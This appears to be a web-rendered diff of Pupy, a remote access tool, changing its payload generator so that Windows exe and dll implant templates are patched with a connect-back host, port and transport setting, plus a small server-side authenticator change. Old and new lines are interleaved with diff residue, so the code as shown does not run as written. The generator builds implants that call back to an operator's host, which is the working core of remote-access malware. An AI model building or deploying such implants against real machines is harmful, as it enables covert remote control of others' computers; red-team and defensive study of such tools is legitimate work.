# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||
#
|
||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
# ---------------------------------------------------------------
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import os.path
|
||||
from pupylib.utils.network import get_local_ip
|
||||
from network.conf import transports
|
||||
|
||||
def get_edit_pupyx86_dll(host, ip):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip)
|
||||
def get_edit_pupyx86_dll(host, ip, transport):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport)
|
||||
|
||||
def get_edit_pupyx64_dll(host, ip):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip)
|
||||
def get_edit_pupyx64_dll(host, ip, transport):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport)
|
||||
|
||||
def get_edit_pupyx86_exe(host, ip):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip)
|
||||
def get_edit_pupyx86_exe(host, ip, transport):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport)
|
||||
|
||||
def get_edit_pupyx64_exe(host, ip):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip)
|
||||
def get_edit_pupyx64_exe(host, ip, transport):
|
||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport)
|
||||
|
||||
def get_edit_binary(path, host, ip):
|
||||
def get_edit_binary(path, host, port, transport, offline_script=""):
|
||||
binary=b""
|
||||
with open(path, 'rb') as f:
|
||||
binary=f.read()
|
||||
i=0
|
||||
offsets=[]
|
||||
while True:
|
||||
i=binary.find("<default_connect_back_host>:<default_connect_back_port>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
|
||||
i=binary.find("####---PUPY_CONFIG_COMES_HERE---####\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
|
||||
if i==-1:
|
||||
break
|
||||
offsets.append(i)
|
||||
|
||||
if not offsets:
|
||||
raise Exception("Error: the offset to edit IP:PORT have not been found")
|
||||
raise Exception("Error: the offset to edit the config have not been found")
|
||||
elif len(offsets)!=1:
|
||||
raise Exception("Error: multiple offsets to edit IP:PORT have been found")
|
||||
raise Exception("Error: multiple offsets to edit the config have been found")
|
||||
|
||||
new_host="%s:%s\x00\x00\x00\x00"%(host,ip)
|
||||
if len(new_host)>100:
|
||||
raise Exception("Error: host too long")
|
||||
binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):]
|
||||
new_conf="HOST=\"%s:%s\"\nTRANSPORT=%s\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script)
|
||||
if len(new_conf)>4092:
|
||||
raise Exception("Error: config too long")
|
||||
binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):]
|
||||
return binary
|
||||
|
||||
|
||||
|
@ -61,6 +49,7 @@ if __name__=="__main__":
|
|||
parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)")
|
||||
parser.add_argument('-o', '--output', help="output path")
|
||||
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
|
||||
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default='tcp_ssl', help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||
parser.add_argument('host', nargs='*', help="connect back host")
|
||||
args=parser.parse_args()
|
||||
myhost=None
|
||||
|
@ -74,28 +63,28 @@ if __name__=="__main__":
|
|||
|
||||
outpath=None
|
||||
if args.type=="exe_x86":
|
||||
binary=get_edit_pupyx86_exe(myhost, args.port)
|
||||
binary=get_edit_pupyx86_exe(myhost, args.port, args.transport)
|
||||
outpath="pupyx86.exe"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.type=="exe_x64":
|
||||
binary=get_edit_pupyx64_exe(myhost, args.port)
|
||||
binary=get_edit_pupyx64_exe(myhost, args.port, args.transport)
|
||||
outpath="pupyx64.exe"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.type=="dll_x64":
|
||||
binary=get_edit_pupyx64_dll(myhost, args.port)
|
||||
binary=get_edit_pupyx64_dll(myhost, args.port, args.transport)
|
||||
outpath="pupyx64.dll"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
with open(outpath, 'wb') as w:
|
||||
w.write(binary)
|
||||
elif args.type=="dll_x86":
|
||||
binary=get_edit_pupyx86_dll(myhost, args.port)
|
||||
binary=get_edit_pupyx86_dll(myhost, args.port, args.transport)
|
||||
outpath="pupyx86.dll"
|
||||
if args.output:
|
||||
outpath=args.output
|
||||
|
@ -103,7 +92,7 @@ if __name__=="__main__":
|
|||
w.write(binary)
|
||||
else:
|
||||
exit("Type %s is invalid."%(args.type))
|
||||
print "binary generated to %s with HOST=%s"%(outpath,(myhost, args.port))
|
||||
print "binary generated to %s with HOST=%s:%s and TRANSPORT=%s"%(outpath, myhost, args.port, args.transport)
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -262,7 +262,11 @@ class PupyServer(threading.Thread):
|
|||
self.handler_registered.wait()
|
||||
self.handler.display_srvinfo("Server started on %s:%s with transport %s"%(self.address, self.port, self.transport))
|
||||
t=transports[self.transport]
|
||||
self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=t['authenticator'], stream=t['stream'], transport=t['server_transport'])
|
||||
if t['authenticator']:
|
||||
authenticator=t['authenticator']()
|
||||
else:
|
||||
authenticator=None
|
||||
self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport'])
|
||||
self.server.start()
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue